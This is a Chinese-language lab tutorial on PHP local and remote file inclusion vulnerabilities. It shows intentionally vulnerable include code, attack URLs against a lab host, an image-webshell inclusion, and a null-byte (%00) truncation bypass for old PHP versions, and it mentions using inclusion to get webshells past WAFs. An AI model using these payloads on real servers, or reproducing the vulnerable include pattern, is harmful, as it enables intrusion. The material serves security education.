目录
1 文件包含漏洞
1.1 文件包含漏洞概述
概述:文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
定义:随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
文件包含分类:
(1)本地文件包含LFI(local file inclusion)当被包含的文件在服务器本地时,可以通过文件路径(相对或绝对)加载文件,就形成本地文件包含。
(2)远程文件包含RFI(remote file inclusion)当被包含的文件在第三方服务器时,我们可以通过http(s)或ftp等方式,远程加载文件,叫做远程文件包含。
文件包含漏洞分类:
(1)本地文件包含漏洞:当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
(2)远程文件包含漏洞:当php.ini 中的配置选项allow_url_fopen和allow_url_include均为ON的话,包含的文件可以是第三方服务器中的文件,我们可以通过http(s)或ftp等方式,远程加载文件,这样就形成了远程文件包含漏洞。
文件包含漏洞两个特点:
(1)无视文件扩展名读取文件。包含文件时,PHP会读取文件的源码,包括图片文件等。
(2)无条件解析PHP代码。文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。例如,将info.php的后缀名改成info.rar,依然能够显示phpinfo()的信息。这同时为图片木马提供了一种利用方法。
1.2 文件包含漏洞的形成原因/条件
原因一:Web应用使用了动态包含(被包含的文件设置为变量)。如以下代码,在第2行中定义了变量path并赋值,在第5行中文件包含了该变量。
<?php
$path = "./inc.php";
include ("./inc.php");
echo "<h1>This is include.php!</h1>";
include $path;
?>
原因二:动态包含的文件路径参数,客户端可控。如以下代码,变量path是从客户端请求中获取的,是用户可以控制的。
<?php
$path = $_GET['path'];
include ("./inc.php");
echo "<h1>This is include.php!</h1>";
include $path;
?>
原因三:未对用户输入参数进行全面过滤。
1.3 危害
严重性:一旦服务器存在文件包含漏洞,基本上会致使一切防御失效。像中国蚁剑、大马等,很多时候过不了安全狗,但是如果存在文件包含则可以利用该漏洞过狗。
2 文件包含漏洞简单测试实例
2.1 测试环境
(1)靶机(服务器):本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。
- 在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。
- 新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2)测试机:真实机.
(3)服务器与真实机都连接了VMnet1。
2.2 实例一:本地文件包含
(1)通过文件上传等其他手段,在网站根目录下的文件夹FileInclusion下新建了info.php文件,文件代码如下:<?php phpinfo();?>
。
(2)在真实机访问该网站,输入URL为http://172.16.1.1/FileInclusion/include.php
时,显示结果如下。由于在网址中没有定义path的值,即$path没有值传入,因此弹出了提示:在第四行文件包含语句没有找到对应的文件,弹出警告。
(3)将URL修改为http://172.16.1.1/FileInclusion/include.php?path=info.php
,显示结果如下。可以看到网址中赋值的参数成功传入给变量$path,并在文件包含语句中被执行,也就是说存在于本地的一个文件被客户端控制着执行了,如果这个文件来历不明存在恶意代码则服务器被攻击。
2.3 实例二:远程文件包含
靶机上为win2008的服务器,IP地址为172.16.1.1;而IP地址为172.16.1.50的服务器仅用于提供被包含文件的。
(1)真实机浏览器访问的URL设为http://172.16.1.1/FileInclusion/include.php?path=http://172.16.1.1/FileInclusion/info.php
,让靶机的include.php文件以远程文件包含的方式来执行info.php。可以看到网页显示如下,说该靶机服务器不允许include函数调用远程文件。
(2)将靶机服务器的配置文件php.ini中将allow_url_include参数配置为On(开启该选项存在着被利用远程文件包含攻击服务器的危险)。将靶机配置文件修改如下并重启phpstudy。
(3)真实机浏览器再次访问http://172.16.1.1/FileInclusion/include.php?path=http://172.16.1.1/FileInclusion/info.php
。可以看到远程文件被执行。
(4)上面的方式是以远程文件包含的方式访问本地的文件,接下来演示真的以远程文件包含的方式访问远程文件。这需要我们在另一台虚拟机系统(IP为172.16.1.50)上部署另一个网站,该网站上存在一个文件info.php,文件代码如下:<?php phpinfo();?>
。该文件的网络地址为http://172.16.1.50/info.php
。
(5)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=http://172.16.1.50/info.php
。可以看到远程文件被执行,此时执行的文件位于第二台服务器上。
2.4 实例三:无视文件扩展名读取文件及无条件解析PHP代码
包含文件时,PHP会读取文件的源码,包括图片文件。
(1)制作一个图片木马文件muma.png。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)》1.3.2节内容第2种方法,制作图片木马,文件名为muma.png,其中包含的PHP语句为<?php phpinfo();?>
。将该文件粘贴到网站根目录下的FileInclusion文件夹下。
(2)真实机浏览器的url输入http://172.16.1.1/FileInclusion/include.php?path=muma.png
查看该图片,可以看到该图片文件以二进制的方式被访问,同时继续网下翻页,发现图片木马种包含的php代码被成功执行。
3 文件包含漏洞的空字符绕过实例
在前面了解了文件包含及其漏洞的危害后,本节主要讲文件包含漏洞的绕过方式。
绕过方式:结合之前SQL注入、XLL漏洞、PHP注入、命令注入等内容的理解:
- 很多时候一些绕过思路是相似的,比如双写绕过等;
- 有些绕过是特有的,比如大小写绕过是利用SQL语句对大小写不敏感的特点、00截断是利用早期PHP一些函数认为空字符是字符串结束标识的特点。
- 本节主要讲利用空字符来绕过一些文件包含语句。
3.1 空字符绕过基础知识
空字符安全绕过是PHP小于5.3.4版本的一个漏洞,编号是CVE-2006-7243。这个漏洞就是PHP接收来自路径名中的空字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是之前所学的00截断。同理地,00截断也会体现在文件包含中。
漏洞利用的条件:
- PHP版本小于5.3.4;
- 关闭PHP魔术引号。
PHP魔术引号:
- 应用背景:当sql句中含有单引号,双引号,反斜杠和NULL时,这时候如果不对这些符号进行转义,写入数据库时就会出错,而魔术引号magic_quotes_gpc()就是对这些符号进行转义以便能把数据正确写入数据库。
- 该参数在php.ini文件中修改。
- PHP魔术引号特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除。也就是说在本实验环境的PHP版本中仍是存在的。
3.2 实验环境及准备
3.2.1 实验环境
(1)靶机(服务器):本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。
- 在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。
- 新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2)测试机:真实机.
(3)服务器与真实机都连接了VMnet1。
3.2.2 实验前准备
(1)由于该漏洞仅针对5.3.4以下版本的PHP有效,对此,我们将phpstudy中软件版本切换为“php-5.2.17+apache”。
(2)Web应用在设计的时候,经常会使用包含模板文件,如下。在网站根目录下的FileInclusion文件夹内新建一个文件夹00,在00文件夹下新建一个txt文件,输入以下内容,并重命名为include.php。该文件作为客户端访问的文件。
<?php
if(isset($_GET['path'])){
include $_GET['path'].".html";
}else{
echo "?path=['path']";
}
?>
(3)同样在00文件夹下新建一个txt文件,输入以下内容,并重命名为hello.html。该文件用于正常访问时被文件包含执行。
<h1>hello world!</h1>
(4)同样在00文件夹下新建一个txt文件,输入以下内容,并重命名为info.jpg。该文件假设是攻击者通过文件上传漏洞等方式保存在服务器的,用于演示空字符攻击时被文件包含执行。
<?php phpinfo();?>
(5)同样在00文件夹下新建一个txt文件,输入以下内容,并重命名为info.html。该文件假设是攻击者通过文件上传漏洞等方式保存在服务器的,用于演示空字符攻击时被文件包含执行。
<?php phpinfo();?>
3.3 空字符绕过实例步骤
3.3.1 正常访问
(1)真实机浏览器访问靶机,正常访问时输入http://172.16.1.1/FileInclusion/00/include.php?path=hello.html
访问时,显示如下。出现警告,提示hello.html.html文件不存在。
(2)真实机浏览器修改URL,输入http://172.16.1.1/FileInclusion/00/include.php?path=hello访问时,显示如下。因为代码会自动在文件后自动添加后缀名,所以参数path中无需加入参数。
3.3.2 空字符绕过
(1)访问被包含文件为info.jpg的目标文件。若按老方法传递入攻击文件后缀名访问时,如http://172.16.1.1/FileInclusion/00/include.php?path=info.jpg
,弹出错误,因为程序自动在后面加了html后缀,导致程序找不到原来的文件。攻击者可以从以下错误提示中知道程序是在输入参数后自动添加了后缀,方便下一次调整攻击姿势。
(2)在关闭PHP魔术引号前,攻击者如果想利用00阶段来让程序误解字符串终止位置,输入http://172.16.1.1/FileInclusion/00/include.php?path=info.jpg%00
访问时,显示如下。
(3)在靶机上打开对应PHP版本的配置文件php.ini,将魔术引号magic_quotes_gpc设置为Off,保存并重启phpstudy。
(4)再次输入http://172.16.1.1/FileInclusion/00/include.php?path=info.jpg%00
访问时,显示如下。可以看到空字符成功将字符串截止,也就是说程序没能把html后缀加到输入参数后面了。
3.3.3 额外的方式
额外地,假设我们通过其他方式知道了该文件包含漏洞能打开后缀名为html的文件,我们也可以直接上传一个文件名后缀为html文件,来直接访问,如http://172.16.1.1/FileInclusion/00/include.php?path=info
。
4 总结
(1)理解文件包含漏洞产生的原因;
(2)掌握本地与远程利用漏洞的方式。
(3)掌握文件包含的特点并学会利用:
- 无视文件扩展名读取文件。
- 无条件解析PHP代码
(4)掌握图片木马的利用途径:解析漏洞;文件包含;.htaccess。以及掌握这三种方式。
(5)掌握空字符绕过。
参考文章
[1] 《php之魔术引号》